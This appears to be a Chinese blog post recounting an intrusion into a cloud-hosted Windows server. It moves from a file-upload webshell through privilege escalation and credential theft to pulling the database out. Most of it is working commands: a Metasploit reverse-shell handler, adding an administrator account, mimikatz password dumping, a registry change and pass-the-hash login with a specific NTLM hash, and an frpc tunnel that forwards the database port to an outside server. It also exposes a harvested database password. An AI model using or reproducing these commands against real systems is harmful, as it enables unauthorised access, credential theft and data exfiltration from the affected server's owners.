记一次Windows内网探索

目标ip

.x.x.x 阿里云服务器某小程序利用文件上传拿到webshell，权限很低

考虑提权借用哥斯拉的反弹shell ，使用msf来提权


root@kali:~# msfconsole 
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
msf5 exploit(multi/handler) > set lport 444	4
msf5 exploit(multi/handler) > run
meterpreter >

getsystem 直接提权 getuid 查看当前权限本来试图添加3389用户的

添加用户

abap
net user test Pass0822.. /add  添加用户名为name，密码为pass
net localgroup Administrators test /add  将用户名为uname的用户添加到管理员组
net user test /del 删除uname用户

可惜一直失败，猜测杀软拦截（后文有解释），试图抓取hash 使用msf的load kiwi

php
kiwi_cmd sekurlsa::logonpasswords

试图解hash失败了，据说2008以上的服务器都无法直接获取明文密码，这个时候其实就可以考虑使用msf获得的高权限来开启注册表，进行hash传递登陆 尝试使用gotohttp上线发现仍然需要密码，失败

使用msf执行免杀的cs马上线成功，开启vnc 黑屏，两眼一黑在CS重新尝试添加用户失败，回显发现是因为密码策略问题，为此绕了一大圈牢记 chcp 65001 如下msf就不会出现乱码使用test连接上去了，可惜不能直接打开sqlserver 两个想法一：hash传递登录到admin 二：上传免杀的frpc上去，将目标1433端口代理出来，使用navicat连接

一：hash传递登录到admin

修改目标注册表，开启hash传递


REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f


REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

利用 mimikatz 输入下面命令


privilege::debug

sekurlsa::pth /user:administrator /domain:47.97.90.1 /ntlm:d23ac23671cda20a435ee35fd48464a8 "/run:mstsc.exe /restrictedadmin"

成功登录

二：上传免杀的frpc上去，将目标1433端口代理出来，使用navicat连接

frpc配置如下


[common]
server_addr = 172.245.17.142
server_port = 8008
token = SCJTxrVIJZWcfiND

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 1433
remote_port = 1433

将目标数据库代理出来，配合从账号密码使用navicat连接

#从config网站配置文件中翻到数据库密码


<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <configSections>
    </configSections>
    <connectionStrings>
        <add name="WeiXinAdminForm.Properties.Settings.WeiXinAdminConnectionString"
            connectionString="Data Source=.;Initial Catalog=WeiXinAdmin;Persist Security Info=True;User ID=changex;Password=Wzl880626..."
            providerName="System.Data.SqlClient" />
    </connectionStrings>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
    </startup>
</configuration>